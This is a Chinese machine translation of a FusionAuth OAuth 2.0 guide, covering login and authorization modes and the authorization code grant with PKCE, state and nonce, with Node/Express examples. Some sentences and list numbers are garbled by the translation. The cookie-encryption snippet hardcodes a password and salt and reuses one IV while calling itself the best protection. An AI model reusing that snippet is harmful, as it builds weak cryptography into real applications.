现代化的OAuth指南|译

原文链接 发布链接

我知道你在想什么,这真的是另一个OAuth 2.0的指南吗?

嗯,是的,也不是。本指南与其他大多数指南不同,因为它涵盖了我们实际使用OAuth的所有方式。它还涵盖了所有你需要成为OAuth专家的细节,而无需阅读所有的规范或编写自己的OAuth服务器。这份文件是基于数百次的对话和客户端的实现,以及我们建立FusionAuth的经验,FusionAuth服务器已经被下载超过一百万次。

如果这对你来说听起来不错,那就继续读吧

我们确实涵盖了很多内容,所以这里有一个方便的目录,如果你愿意,可以直接跳到某个章节。

[toc]

OAuth概述

OAuth 2.0是一套规范,允许开发者轻松地将用户的认证和授权委托给其他人。虽然规范中没有具体涉及认证,但实际上这是OAuth的一个核心部分,所以我们将深入介绍它(因为我们就是这样做的)。

这到底是什么意思?它意味着你的应用程序将用户发送到一个OAuth服务器,用户登录,然后用户被送回你的应用程序。然而,这个过程有几个不同的曲折和目标。接下来让我们来谈谈这些。

OAuth模式

这些规范都没有涉及到OAuth如何实际集成到应用程序中。Whoops! 但作为一个开发者,这正是你所关心的。他们也没有涵盖利用OAuth的不同工作流程或过程。他们几乎把一切都留给了实施者(编写OAuth服务器的人)和集成者(将他们的应用程序与该OAuth服务器集成的人)。

与其在规范中重写信息(又一次),不如为现实世界的集成和OAuth的实现创建一个词汇表。我们把它们称为OAuth模式

目前,有八种OAuth模式被普遍使用。这些现实世界的OAuth模式是。

  1. 本地登录和注册
  2. 第三方登录和注册(联合身份)。
  3. 第一方登录和注册(反向联合身份)。
  4. 企业登录和注册(有特色的联合身份
  5. 第三方服务授权
  6. 第一方服务授权
  7. 机器对机器的认证和授权
  8. 设备登录和注册

我在上面的几个项目中加入了注释,说明哪些是联合身份的工作流程。我在这里把名称从 "联合身份 "改成了 "联合身份",是因为每种情况都略有不同。另外,联合身份这个词经常被过度使用和误解。为了帮助澄清术语,我用 "登录 "来代替。然而,这通常与 "联合身份 "相同,即用户的身份被存储在OAuth服务器中,认证/授权被委托给该服务器。

让我们更详细地讨论每一种模式,但首先是一张小抄。

哪种OAuth模式适合你?

哇,你可以有很多不同的方式来使用OAuth。老实说,这就是OAuth的威力和危险所在。它是如此灵活,以至于刚接触它的人可能会不知所措。所以,这里有一组方便的问题供你自问。

  • 你是否想把你的认证和授权外包给一个安全、可靠和标准友好的认证系统?在这种情况下,你会想要本地登录和注册
  • 你想避免存储任何凭证,因为你不想对密码负责? 第三方登录和注册就是它的所在。
  • 你在向企业客户销售吗?那些听到SAML和SOC2这样的术语就会感到安慰,而不是感到不安的人?请转到企业登录和注册
  • 你是在建立没有用户参与的服务对服务的通信吗?如果是这样,你正在寻找机器对机器的授权
  • 你是否试图让用户从一个单独的设备上登录?也就是说,从电视或类似的没有友好打字界面的设备上?如果是这样的话,请查看设备登录和注册
  • 你是否正在建立一个平台,并希望允许其他开发者请求权限,以对你平台上的API或服务进行调用?穿上你的连帽衫,查看第一方登录和注册第一方服务授权
  • 你是否已经集成了一个用户商店,只需要代表你的用户访问第三方服务?请阅读第三方服务授权

综上所述,让我们更详细地研究这些模式中的每一种。

本地登录和注册

本地登录和注册模式是指你使用一个OAuth工作流来注册或登录用户到你的应用程序。在这种模式下,你同时拥有OAuth服务器和应用程序。你可能没有编写OAuth服务器(如果你使用的是FusionAuth等产品),但你可以控制它。事实上,这种模式通常给人的感觉是,用户通过本地表单直接注册或登录到你的应用程序,根本不存在任何委托。

我们所说的本地表单是什么意思?大多数开发者曾一度将他们自己的登录和注册表单直接写进应用程序。他们创建了一个叫做 用户的表,存储 用户名密码。然后他们编写注册和登录表单(HTML或其他用户界面)。注册表格收集 用户名密码并检查用户是否存在于数据库中。如果不存在,应用程序会将新用户插入数据库。登录表单收集用户名密码,并检查账户是否存在于数据库中,如果存在,则将用户登录。这种类型的实现就是我们所说的本地表单。

本机表单和本地登录和注册OAuth模式的唯一区别是,在后者中,你将登录和注册过程委托给OAuth服务器,而不是手工编写一切。此外,由于你控制了OAuth服务器和你的应用程序,要求用户 "授权 "你的应用程序是很奇怪的。因此,这种模式不包括OAuth教程中经常提到的权限授予屏幕。不要担心,我们会在接下来的几节中介绍这些。

那么,这在实践中是如何操作的呢?让我们来看看一个名为 "世界上最伟大的ToDo列表 "或 "TWGTL"(发音为Twig-Til)的虚构网络应用的步骤。

  1. 一个用户访问TWGTL,想注册并管理他们的ToDos。
  2. 他们点击主页上的 "注册 "按钮。
  3. 这个按钮将他们带到OAuth服务器。事实上,它直接把他们带到了作为OAuth工作流程一部分的注册表格(特别是授权码授予,本指南后面将介绍)。
  4. 他们填写了注册表,然后点击 "提交"。
  5. OAuth服务器会确保这是个新用户,并创建他们的账户。
  6. OAuth服务器将浏览器重定向到TWGTL,使用户登录。
  7. 用户使用TWGTL并添加他们当前的ToDos。耶!
  8. 用户停止使用TWGTL;他们去做一些ToDos。
  9. 后来,用户回到TWGTL,需要登录以检查一些待办事项。他们点击页面顶部的 我的账户 链接。
  10. 这将使用户进入OAuth服务器的登录页面。
  11. 用户键入他们的用户名和密码。
  12. OAuth服务器确认他们的身份。
  13. OAuth服务器将浏览器重定向到TWGTL,使用户登录。
  14. 用户与TWGTL应用程序进行互动,愉快地核对ToDos。

就这样了。用户感觉他们是在直接注册和登录TWGTL,但事实上,TWGTL是将这个功能委托给OAuth服务器。用户并不清楚,所以这就是为什么我们把这种模式称为_本地登录和注册_。

我打赌你的登录屏幕会更漂亮。

关于这种模式和移动应用的一个旁证

这种模式的细节对一些标准机构推荐的安全最佳实践有影响。特别是,OAuth 2.0 for Native Apps 最佳实践(BCP)建议不要使用webview。

该最佳实践要求原生应用不得使用嵌入式用户代理来执行授权请求......。

这是因为 "嵌入式用户代理",也被称为webviews,是由移动应用开发者控制的,而系统浏览器则不是。

如果你的操作模式是OAuth服务器在另一方的控制之下,比如我们接下来要介绍的第三方登录,这种禁止是有意义的。但在这种模式下,你控制着一切。在这种情况下,恶意的webview能够造成额外伤害的几率是很小的,而且必须与跳出系统浏览器进行认证的用户界面问题相权衡。

第三方登录和注册

第三方登录和注册**模式通常用你在许多应用程序中看到的经典的 "用...登录 "按钮来实现。这些按钮让用户通过登录他们的一个其他账户(即Facebook或Google)来注册或登录你的应用程序。在这里,你的应用程序会把用户送到Facebook或谷歌去登录。

让我们用Facebook作为一个OAuth提供者的例子。在大多数情况下,你的应用程序将需要使用OAuth提供者的一个或多个API,以检索有关用户的信息或代表用户做事(例如代表用户发送消息)。为了使用这些API,用户必须授予你的应用程序权限。为了达到这个目的,第三方服务通常会向用户显示一个屏幕,要求用户提供某些权限。在本指南的其余部分,我们将把这些屏幕称为 "权限授予屏幕"。

例如,Facebook会呈现一个屏幕,要求用户与你的应用程序分享他们的电子邮件地址。一旦用户授予这些权限,你的应用程序就可以使用访问令牌调用Facebook的API(我们将在本指南的稍后部分讨论这个问题)。

下面是一个Facebook权限授予界面的例子,Zapier想访问用户的电子邮件地址。

Zapier的Facebook权限授予屏幕。

在用户登录到第三方OAuth服务器并授予你的应用程序权限后,他们会被重定向到你的应用程序并登录到其中。

这种模式与之前的模式不同,因为用户在登录的同时也授予了你的应用对服务(Facebook)的权限。这是许多应用程序利用 "用Facebook登录 "或其他社交集成的原因之一。它不仅登录了用户,而且还赋予他们代表用户调用Facebook API的权限。

社交登录是这种模式最常见的例子,但在社交网络之外还有很多其他的第三方OAuth服务器(例如GitHub或Discord)。

这种模式是联合身份的一个好例子。在这里,用户的身份(用户名和密码)被存储在第三方系统中。他们使用该系统来注册或登录你的应用程序。

那么,这在实践中是如何运作的呢?让我们看看我们的TWGTL应用程序的步骤,如果我们想使用Facebook来注册和登录用户。

  1. 一个用户访问TWGTL,想要注册并管理他们的ToDos。
  2. 他们点击主页上的 "注册 "按钮。
  3. 在登录和注册屏幕上,用户点击 "用Facebook登录 "按钮。
    1. 这个按钮将他们带到Facebook的OAuth服务器。
  4. 他们登录到Facebook(如果他们还没有登录)。
    1. Facebook根据TWGTL需要的权限,向用户展示权限授予屏幕。这是用OAuth作用域完成的,我们将在本指南的后面介绍。
    1. Facebook将浏览器重定向到TWGTL,使用户登录。TWGTL还调用Facebook的API来检索用户的信息。
  5. 用户开始使用TWGTL,并添加他们当前的ToDos。
  6. 用户停止使用TWGTL;他们离开并做一些待办事项。
  7. 10.后来,用户回到TWGTL,需要登录以检查他们的一些ToDos。他们点击页面上方的 "我的账户 "链接。
  8. 这将使用户进入包含 "用Facebook登录 "按钮的TWGTL登录界面。
  9. 12.点击这个按钮,用户就会回到Facebook,重复上述过程。

你可能想知道,第三方登录和注册模式是否可以与本地登录和注册模式一起使用。当然可以! 这就是我喜欢称之为嵌套的联合身份(它就像一个热口袋中的热口袋。基本上,你的应用程序将其注册和登录表单委托给一个OAuth服务器,如FusionAuth。你的应用程序还允许用户通过启用OAuth服务器的这一功能来登录(FusionAuth称其为Facebook身份提供者)。这有点复杂,但其流程看起来像这样。

  1. 一个用户访问TWGTL,想注册并管理他们的ToDos。
  2. 他们点击主页上的 "注册 "按钮。
    1. 这个按钮将他们带到OAuth服务器的登录页面。
    1. 在这个页面上,有一个 "用Facebook登录 "的按钮,用户点击它。
  3. 这个按钮将他们带到Facebook的OAuth服务器。
  4. 他们登录到Facebook。
    1. Facebook向用户展示权限授予屏幕。
  5. 用户授权所要求的权限。
  6. 9.Facebook将浏览器重定向到TWGTL的OAuth服务器,该服务器对用户的账户进行调节。
  7. TWGTL的OAuth服务器将用户重定向到TWGTL应用程序。
  8. 用户登录到TWGTL。

"调出 "是什么意思?OAuth有它的行话,哦,是的。将用户与远程系统进行对账,意味着可以选择创建一个本地账户,然后将数据和身份从远程数据源(如Facebook)附加到该账户。远程账户是权限,本地账户根据需要被修改以反映远程数据。

这个工作流程的好处是,TWGTL不必担心与Facebook(或任何其他供应商)的整合,也不必担心对用户的账户进行调节。那是由OAuth服务器处理的。也可以委托给其他的OAuth服务器,轻松地添加 "用谷歌登录 "或 "用苹果登录"。你也可以比这里说明的2个层次更深入地嵌套。

第一方登录和注册

第一方登录和注册模式是第三方登录和注册**模式的反面。基本上,如果你碰巧是上面例子中的Facebook(嗨,Zuck!),而你的客户是TWGTL,你就为TWGTL提供OAuth服务器。你也为他们提供了一种方式,代表你的用户调用你的API。

这种类型的设置不仅仅是为硅谷大亨经营的大规模社交网络所保留的;越来越多的公司正在为他们的客户和合作伙伴提供这种服务,因此成为平台。

在许多情况下,公司也在利用像FusionAuth这样容易整合的认证系统来提供这种功能。

企业登录和注册

企业登录和注册模式是指你的应用程序允许用户通过企业身份提供者(如企业活动目录)进行注册或登录。这种模式与第三方登录和注册模式非常相似,但有几个突出的区别。

首先,它很少要求用户使用权限授予屏幕向你的应用程序授予权限。通常情况下,用户没有选择为你的应用程序授予或限制权限。这些权限通常由IT部门在企业目录或你的应用程序中管理。

第二,这种模式并不适用于一个应用程序的所有用户。在大多数情况下,这种模式只对存在于企业目录中的用户子集可用。其余的用户将使用本地登录和注册直接登录到你的应用程序,或者通过第三方登录和注册模式。在某些情况下,用户的电子邮件地址决定了认证来源。

你可能已经注意到一些登录表格只在第一步要求你的电子邮件,像这样。

对于Zapier,在任何密码之前都会要求用户的电子邮件地址。

知道了用户的电子邮件域,OAuth服务器就可以确定把用户送到哪里去登录,或者是否应该在本地登录。如果你在Example Company(TWGTL的自豪提供者)工作,在登录屏幕上提供brian@example.com,就可以让OAuth服务器知道你是一名员工,并应通过企业认证源进行验证。如果你输入dan@gmail.com,你将不会被认证为该目录。

除了这些差异外,这种模式的行为与第三方登录和注册模式基本相同。

这是用户可以注册和登录到你的应用程序的最后一种模式。其余的模式完全用于授权,通常是对应用编程接口(API)。我们接下来会介绍这些模式。

第三方服务授权

第三方服务授权模式与第三方登录和注册模式截然不同;不要被类似的名称所欺骗。在这里,用户已经登录到了你的应用程序中。登录可能是通过本地表单(如上所述)或使用本地登录和注册模式、第三方登录和注册模式、或企业登录和注册模式。由于用户已经登录,他们所做的只是授予你的应用程序访问权,以代表他们调用第三方的API。

例如,假设一个用户在TWGTL有一个账户,但每次他们完成一个ToDo,他们想让他们的WUPHF的追随者知道。(WUPHF是一个新兴的社交网络;在getwuphf.com注册。)为了实现这一目标,TWGTL提供了一个集成,当用户完成一项ToDo时,将自动发送一个WUPHF。该集成使用WUPHF的API,调用这些API需要一个访问令牌。为了获得一个访问令牌,TWGTL应用程序需要通过OAuth将用户登录到WUPHF。

为了连接这一切,TWGTL需要在用户的个人资料页面上添加一个按钮,上面写着 "连接您的WUPHF账户"。注意它没有说 "用WUPHF登录",因为用户已经登录了;用户在TWGTL的身份没有被委托给WUPHF。一旦用户点击这个按钮,他们就会被带到WUPHF的OAuth服务器上登录,并为他们向WUPHF授予TWGTL的必要权限。

由于WUPHF实际上并不存在,这里有一个来自Buffer的例子截图,这是一个向你的社交媒体账户(如Twitter)发布的服务。

Buffer希望连接到您的账户。

当你把Twitter账户连接到Buffer时,你会看到这样的屏幕。

Buffer希望连接到你的Twitter账户。

这种模式的工作流程是这样的。

  1. 一个用户访问TWGTL并登录他们的账户。
  2. 2.他们点击 "我的资料 "链接。
  3. 在他们的账户页面,他们点击 "连接您的WUPHF账户 "按钮。
    1. 这个按钮会将他们带到WUPHF的OAuth服务器。
    1. 他们登录到WUPHF。
    1. WUPHF向用户展示 "权限授予屏幕",并询问TWGTL是否可以代表他们使用WUPHF。
    1. 用户授予 TWGTL 这一权限。
  4. 8.WUPHF将浏览器重定向到TWGTL,在那里调用WUPHF的OAuth服务器以获得一个访问令牌。
  5. 9.TWGTL在其数据库中存储访问令牌,现在可以代表用户调用WUPHF的API。成功!

第一方服务授权

第一方服务授权模式是第三方服务授权**模式的反面。当另一个应用程序希望代表你的一个用户调用你的API时,你就处于这种模式。在这里,你的应用程序就是上面讨论的 "第三方服务"。你的应用程序会询问用户是否要授予其他应用程序特定的权限。基本上,如果你正在建立下一个Facebook,并希望开发人员能够代表他们的用户调用你的API,你就需要支持这种OAuth模式。

在这种模式下,你的OAuth服务器可能会向用户显示一个 "权限授予屏幕",询问他们是否要授予第三方应用程序对你的API的权限。这并不是严格意义上的必要,而是取决于你的要求。

机器对机器的授权

机器对机器的授权OAuth模式与我们之前介绍的模式不同。这种模式完全不涉及用户。相反,它允许一个应用程序与另一个应用程序互动。通常情况下,这是后端服务通过API相互通信。

在这里,一个后端需要被授予对另一个的访问权。我们称第一个后端为源,第二个后端为目标。为了达到这个目的,源端要与OAuth服务器进行认证。OAuth服务器确认源的身份,然后返回一个令牌,源将使用该令牌来调用目标。这个令牌还可以包括目标使用的权限,以授权来源正在进行的调用。

以我们的TWGTL为例,假设TWGTL有两个微服务:一个是管理ToDos,另一个是发送WUPHFs。过度的工程设计是有趣的! ToDo的微服务需要调用WUPHF的微服务。WUPHF微服务需要确保任何调用者在其WUPHFs之前被允许使用其API。

WUPHF微服务需要确保TWGTL微服务被授权。

这种模式的工作流程看起来像。

  1. ToDo微服务与OAuth服务器进行认证。
  2. 2.OAuth服务器返回一个令牌给ToDo微服务。
  3. 3.ToDo微服务调用WUPHF微服务中的一个API,并在请求中包含该令牌。
  4. 4.WUPHF的微服务通过调用OAuth服务器来验证令牌(如果令牌是JWT,则验证令牌本身)。
  5. 5.如果令牌有效,WUPHF的微服务将执行操作。

设备登录和注册

设备登录和注册**模式用于登录(或注册)用户在一个没有丰富输入设备(如键盘)的设备上的账户。在这种情况下,用户将设备连接到他们的账户,通常是为了确保他们的账户是活跃的,并且设备被允许使用。

这种模式的一个很好的例子是在苹果电视、智能电视或其他设备(如Roku)上设置一个流媒体应用程序。为了确保你有订阅的流媒体服务,应用程序需要验证用户的身份并连接到他们的账户。苹果电视设备上的应用程序显示一个代码和一个URL,并要求用户访问该URL。这种模式的工作流程如下。

  1. 用户在苹果电视上打开应用程序。
    1. 该应用程序显示一个代码和一个URL。
  2. 用户在手机或电脑上键入Apple TV显示的URL。
    1. 用户被带到OAuth服务器,并被要求提供代码。
  3. 用户提交该表格并被带到登录页面。
  4. 用户登录到OAuth服务器。
  5. 用户会被带到一个 "完成 "屏幕。
    1. 几秒钟后,设备就会连接到用户的账户。

这种模式通常需要一点时间来完成,因为苹果电视上的应用程序正在轮询OAuth服务器。我们不会去讨论这种模式,因为我们的OAuth设备授权文章对其进行了详细的介绍。

OAuth赠予

现在我们已经涵盖了现实世界中的OAuth模式,让我们来探讨一下这些模式是如何通过OAuth授权来实际实现的。OAuth授予是。

  • 授权代码授予
  • 隐式授予
  • 资源所有者的密码证书授予
  • 客户端凭证授予
  • 设备授予

我们将在下面介绍每种授予类型,并讨论它在上述每种OAuth模式中的使用或不使用。

授权码授予

这是最常见的OAuth授予,也是最安全的。它依赖于用户与浏览器(Chrome、Firefox、Safari等)的互动,以处理上述OAuth模式1至6。这种授予需要用户的互动,所以它不能用于机器对机器的授权模式。除了在显示 "权限授予屏幕 "时,我们上面涉及的所有交互模式都涉及相同的当事人和用户界面。

在我们深入研究这个授权之前,我们需要定义几个术语。

  • **授权端点:**这是启动工作流程的位置,是浏览器被带到的一个URL。通常情况下,用户在这个位置注册或登录。
  • **授权代码:**这是一个可打印的ASCII字符的随机字符串,在用户注册或登录后,OAuth服务器将其包含在重定向中。这是由应用程序后端交换的令牌。
  • 令牌端点:这是一个API,用于在用户登录后从OAuth服务器获得令牌。应用程序后端在调用令牌端点时使用授权代码**。

在本节中,我们还将介绍PKCE(Proof Key for Code Exchange - 读作Pixy)。PKCE是一个安全层,位于授权码授予之上,以确保授权码不能被盗用或重复使用。应用程序生成一个秘密密钥(称为代码验证器),并使用SHA-256对其进行散列。这个哈希值是单向的,所以它不能被攻击者逆转。然后,应用程序将哈希值发送到OAuth服务器,服务器将其存储。之后,当应用程序从OAuth服务器获取令牌时,应用程序将向服务器发送秘钥,OAuth服务器将验证所提供的秘钥的哈希值是否与之前提供的值一致。这是一个很好的保护措施,可以防止攻击者拦截授权代码,但没有秘密密钥。

**注意:**当应用程序后端将 "client_id "和 "client_secret "同时传递给令牌端点时,标准网络浏览器使用OAuth的授权码授予不需要PKCE。我们将在下文中详细介绍这个问题,但根据你的实现,你可能可以安全地跳过实现PKCE。我建议总是使用它,但它并不总是必需的。

让我们来看看如何使用FusionAuth这样的预置OAuth服务器来实现这个授予。

登录/注册按钮

首先,我们需要在我们的应用程序中添加一个 "登录 "或 "我的账户 "的链接或按钮;或者如果你使用上面的联合授权模式之一(例如第三方服务授权模式),你将添加一个 "连接到XYZ "的链接或按钮。有两种方法可以将这个链接或按钮连接到OAuth服务器上。

  1. 将链接的href设置为启动OAuth授权码授予的完整URL。
  2. 设置href指向做重定向的应用程序后端代码。

选项#1是一个较早的集成,在实践中经常不被使用。这有几个原因。首先,这个URL很长,而且不那么好看。第二,如果你要使用任何增强的安全措施,如PKCE,你就需要编写代码,为重定向生成额外的数据。我们将在下面设置应用集成时介绍PKCE和OpenID Connect的nonce参数。

在我们讨论第2个选项之前,让我们先看看第1个选项是如何工作的。我们知道,这是一个老办法。

首先,你需要确定与你的OAuth服务器启动授权码授予的URL,以及包括规范要求的所有必要参数。We’ll use FusionAuth as an example, since it has a consistent URL pattern.

Let’s say you are running FusionAuth and it is deployed to https://login.twgtl.com. The URL for the OAuth authorize endpoint will also be located at:

https://login.twgtl.com/oauth2/authorize

Next, you would insert this URL with a bunch of parameters (the meaning of which we will cover below) into an anchor tag like this:

1
<a href="https://login.twgtl.com/oauth2/authorize?[a bunch of parameters here]">Login</a>

This anchor tag would take the user directly to the OAuth server to start the Authorization Code grant.

But, as we discussed above, this method is not generally used. Let’s take a look at how Option #2 is implemented instead. Don’t worry, you’ll still get to learn about all those parameters.

Rather than point the anchor tag directly at the OAuth server, we’ll point it at the TWGTL backend; let’s use the path /login. To make everything work, we need to write code that will handle the request for /login and redirect the browser to the OAuth server. Here’s our updated anchor tag that points at the backend controller:

1
<a href="https://app.twgtl.com/login">Login</a>

Next, we need to write the controller for /login in the application. Here’s a JavaScript snippet using NodeJS/Express that accomplishes this:

router.get('/login', function(req, res, next) {
  res.redirect(302, 'https://login.twgtl.com/oauth2/authorize?[a bunch of parameters here]');
});

Since this is the first code we’ve seen, it’s worth mentioning you can view working code in this guide in the accompanying GitHub repository.

Authorize端点参数

这段代码立即将浏览器重定向到OAuth服务器。然而,如果你运行这段代码并点击了链接,OAuth服务器会拒绝该请求,因为它不包含所需的参数。在OAuth规范中定义的参数是。

  • client_id - 这标识了你正在登录的应用程序。在OAuth中,这被称为 "客户端"。这个值将由OAuth服务器提供给你。
  • redirect_uri - 这是你应用程序中的URL,OAuth服务器会在用户登录后将其重定向到该URL。这个URL必须在OAuth服务器上注册,它必须指向你的应用程序中的控制器(而不是静态页面),因为你的应用程序在调用这个URL后必须做额外的工作。
  • state - 技术上来说,这个参数是可选的,但它对防止各种安全问题很有用。这个参数由OAuth服务器回馈给你的应用程序。它可以是任何你可能需要在OAuth工作流程中持续存在的东西。如果你对这个参数没有其他需要,我建议把它设置为一个大的随机字符串。如果你需要在整个工作流程中坚持数据,我建议设置URL编码的数据并附加一个随机字符串。
  • 响应类型(response_type) - 这个参数应该总是被设置为 "代码"。这告诉OAuth服务器你正在使用授权代码授予。
  • scope - 这也是一个可选的参数,但在上述某些模式中,OAuth服务器会要求这个参数。这个参数是一个空格分隔的字符串列表。如果你打算在你的应用程序中使用刷新令牌,你可能还需要在这个列表中包括offline范围(我们稍后将刷新令牌)。
  • code_challenge - 这是一个可选的参数,但提供对PKCE的支持。当没有一个后端可以处理授权码授予的最后步骤时,这很有用。这就是所谓的 "公共客户端"。没有后台的应用程序的情况并不多,但如果你有像移动应用程序这样的东西,而且你不能利用服务器端的OAuth后台,你必须实现PKCE,以保护你的应用程序免受安全问题的影响。围绕着PKCE的安全问题不在本指南的范围之内,但你可以在网上找到许多关于这些问题的文章。PKCE也被OAuth 2.1草案所推荐。
  • code_challenge_method - 这是一个可选的参数,但是如果你实现了PKCE,你必须指定你的PKCEcode_challenge参数是如何创建的。它可以是plainS256。我们从不推荐使用除`S256'以外的任何参数,因为它使用SHA-256安全散列法进行PKCE。
  • nonce - 这是一个可选的参数,用于OpenID连接。在本指南中,我们没有对OpenID Connect进行详细介绍,但我们将涉及几个方面,包括Id tokens和nonce参数。nonce参数将包括在OAuth服务器生成的Id令牌中。我们可以在检索Id令牌的时候验证这一点。这将在后面讨论。

让我们用所有这些值更新我们的代码。虽然我们实际上不需要在本指南中使用PKCE,但添加它并没有什么坏处。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
const clientId = '9b893c2a-4689-41f8-91e0-aecad306ecb6';
const redirectURI = encodeURI('https://app.twgtl.com/oauth-callback');
const scopes = encodeURIComponent('profile offline_access openid'); // Give us the id_token and the refresh token, please

router.get('/login', (req, res, next) => {
  const state = generateAndSaveState(req, res);
  const codeChallenge = generateAndSaveCodeChallenge(req, res);
  const nonce = generateAndSaveNonce(req, res);
  res.redirect(302,
               'https://login.twgtl.com/oauth2/authorize?' +
                 `client_id=${clientId}&` +
                 `redirect_uri=${redirectURI}&` +
                 `state=${state}&` +
                 `response_type=code&` +
                 `scope=${scopes}&` +
                 `code_challenge=${codeChallenge}&` +
                 `code_challenge_method=S256&` +
                 `nonce=${nonce}`)
});

你会注意到,我们指定了 "client_id",这可能是由OAuth服务器提供给我们的,"redirect_uri",这是我们应用程序的一部分,还有一个 "scope",其值为 "profile"、"offline_access "和 "openid"(空格分隔)。这些通常都是硬编码的值,因为它们很少改变。其他的值在我们每次提出请求时都会改变,并在控制器中生成。

OAuth服务器使用 "范围 "参数,以确定应用程序正在请求什么授权。有几个标准值被定义为OpenID Connect的一部分。这些包括profile', offline_access'和`openid'。OAuth规范没有定义任何标准范围,但大多数OAuth服务器支持不同的值。请查阅你的OAuth服务器文档,以确定你需要提供的范围。

以下是OpenID Connect规范中的标准范围的定义。

  • openid - 告诉OAuth服务器使用OpenID Connect来处理OAuth工作流程。此外,这将告诉OAuth服务器从Token端点返回一个Id令牌(如下所述)。
  • offline_access - 告诉OAuth服务器从Token端点生成并返回一个刷新令牌(如下所述)。
  • profile - 告诉OAuth服务器在返回的令牌(访问和/或ID令牌)中包括所有标准的OpenID Connect请求。
  • email - 告诉OAuth服务器在返回的令牌(访问和/或ID令牌)中包括用户的电子邮件。
  • address - 告诉OAuth服务器在返回的令牌中包括用户的地址(访问和/或ID令牌)。
  • phone - 告诉OAuth服务器在返回的令牌(访问和/或ID令牌)中包括用户的电话号码。

为了正确实现对state、PKCE和nonce参数的处理,我们需要把这些值保存在某个地方。它们必须在浏览器的请求和重定向中持续存在。这方面有两个选择。

  1. 将这些值保存在服务器端的会话中。
  2. 2.将值存储在安全的、只用于http的cookies中(最好是加密的)。

如果你正在建立一个SPA并希望避免维护服务器端的会话,你可能会选择cookies。

下面是上述login路由的摘录,其中有生成这些值的函数。

1
2
3
4
5
6
// ...
router.get('/login', (req, res, next) => {
  const state = generateAndSaveState(req, res);
  const codeChallenge = generateAndSaveCodeChallenge(req, res);
  const nonce = generateAndSaveNonce(req, res);
// ...

让我们介绍一下这两个选项。首先,让我们为每个generate*函数编写代码,并将值存储在服务器端的会话中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const crypto = require('crypto');
// ...
// Helper method for Base 64 encoding that is URL safe
function base64URLEncode(str) {
  return str.toString('base64')
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=/g, '');
}

function sha256(buffer) {
  return crypto.createHash('sha256')
    .update(buffer)
    .digest();
}

function generateAndSaveState(req) {
  const state = base64URLEncode(crypto.randomBytes(64));
  req.session.oauthState = state;
  return state;
}

function generateAndSaveCodeChallenge(req) {
  const codeVerifier = base64URLEncode(crypto.randomBytes(64));
  req.session.oauthCode = codeVerifier;
  return base64URLEncode(sha256(codeVerifier));
}

function generateAndSaveNonce(req) {
  const nonce = base64URLEncode(crypto.randomBytes(64));
  req.session.oauthNonce = nonce;
  return nonce;
}
// ...

这段代码使用crypto库来生成随机字节,并将其转换为URL安全字符串。每个方法都在存储会话中创建的值。你也会注意到,在generateAndSaveCodeChallenge中,我们也在使用sha256函数对随机字符串进行散列。这就是PKCE的实现方式,当代码验证器被保存在会话中,它的散列版本被作为参数发送给OAuth服务器。

下面是同样的代码(去掉require和helper方法),经过修改后,将这些值分别存储在安全的、只限于HTTP的cookies中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// ...
function generateAndSaveState(req, res) {
  const state = base64URLEncode(crypto.randomBytes(64));
  res.cookie('oauth_state', state, {httpOnly: true, secure: true});
  return state;
}

function generateAndSaveCodeChallenge(req, res) {
  const codeVerifier = base64URLEncode(crypto.randomBytes(64));
  res.cookie('oauth_code_verifier', codeVerifier, {httpOnly: true, secure: true});
  return base64URLEncode(sha256(codeVerifier));
}

function generateAndSaveNonce(req, res) {
  const nonce = base64URLEncode(crypto.randomBytes(64));
  res.cookie('oauth_nonce', nonce, {httpOnly: true, secure: true});
  return nonce;
}
// ...

你可能想知道在cookie中存储这些值是否安全,因为cookie会被送回给浏览器。我们将这些cookie都设置为httpOnlysecure。这些标志确保浏览器中没有恶意的JavaScript代码可以读取它们的值。如果你想进一步确保安全,你也可以像这样加密这些值。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// ...
const password = 'setec-astronomy'
const key = crypto.scryptSync(password, 'salt', 24);
const iv = crypto.randomBytes(16);

function encrypt(value) {
  const cipher = crypto.createCipheriv('aes-192-cbc', key, iv);
  let encrypted = cipher.update(value, 'utf8', 'hex');
  encrypted += cipher.final('hex');
  return encrypted + ':' + iv.toString('hex');
}

function generateAndSaveState(req, res) {
  const state = base64URLEncode(crypto.randomBytes(64));
  res.cookie('oauth_state', encrypt(state), {httpOnly: true, secure: true});
  return state;
}

function generateAndSaveCodeChallenge(req, res) {
  const codeVerifier = base64URLEncode(crypto.randomBytes(64));
  res.cookie('oauth_code_verifier', encrypt(codeVerifier), {httpOnly: true, secure: true});
  return base64URLEncode(sha256(codeVerifier));
}

function generateAndSaveNonce(req, res) {
  const nonce = base64URLEncode(crypto.randomBytes(64));
  res.cookie('oauth_nonce', encrypt(nonce), {httpOnly: true, secure: true});
  return nonce;
}
// ...

通常不需要加密,尤其是state'和nonce'参数,因为这些参数在重定向时无论如何都是以明文形式发送的,但如果你需要终极安全并想使用cookie,这就是保护这些值的最好方法。

登录

在这一点上,用户将被带到OAuth服务器上登录或注册。从技术上讲,OAuth服务器可以根据自己的需要管理登录和注册过程。在某些情况下,登录是没有必要的,因为用户已经通过了OAuth服务器的认证,或者他们可以通过其他方式(智能卡、硬件设备等)进行认证。

OAuth 2.0规范没有对这个过程作出任何规定。一个字都没有!

不过在实践中,99.999%的OAuth服务器都使用一个标准的登录页面,收集用户的用户名和密码。我们将假设OAuth服务器提供了一个标准的登录页面,并处理收集用户的凭证和验证其有效性。

重定向和检索令牌

在用户登录后,OAuth服务器会将**浏览器重定向到应用程序。重定向的确切位置由我们在上面的URL上传递的redirect_uri参数控制。在我们的例子中,这个位置是https://app.twgtl.com/oauth-callback。当OAuth服务器将浏览器重定向到这个位置时,它将在URL中添加一些参数。这些参数是

  • code - 这是OAuth服务器在用户登录后创建的授权代码。我们将用这个代码来交换令牌。
  • state - 这是我们传递给OAuth服务器的state参数的相同值。这将回传给应用程序,以便应用程序可以验证代码来自正确的位置。

OAuth服务器可以根据需要添加其他参数,但这些是规范中唯一定义的参数。一个完整的重定向URL可能看起来像这样。

https://app.twgtl.com/oauth-callback?code=123456789&state=foobarbaz

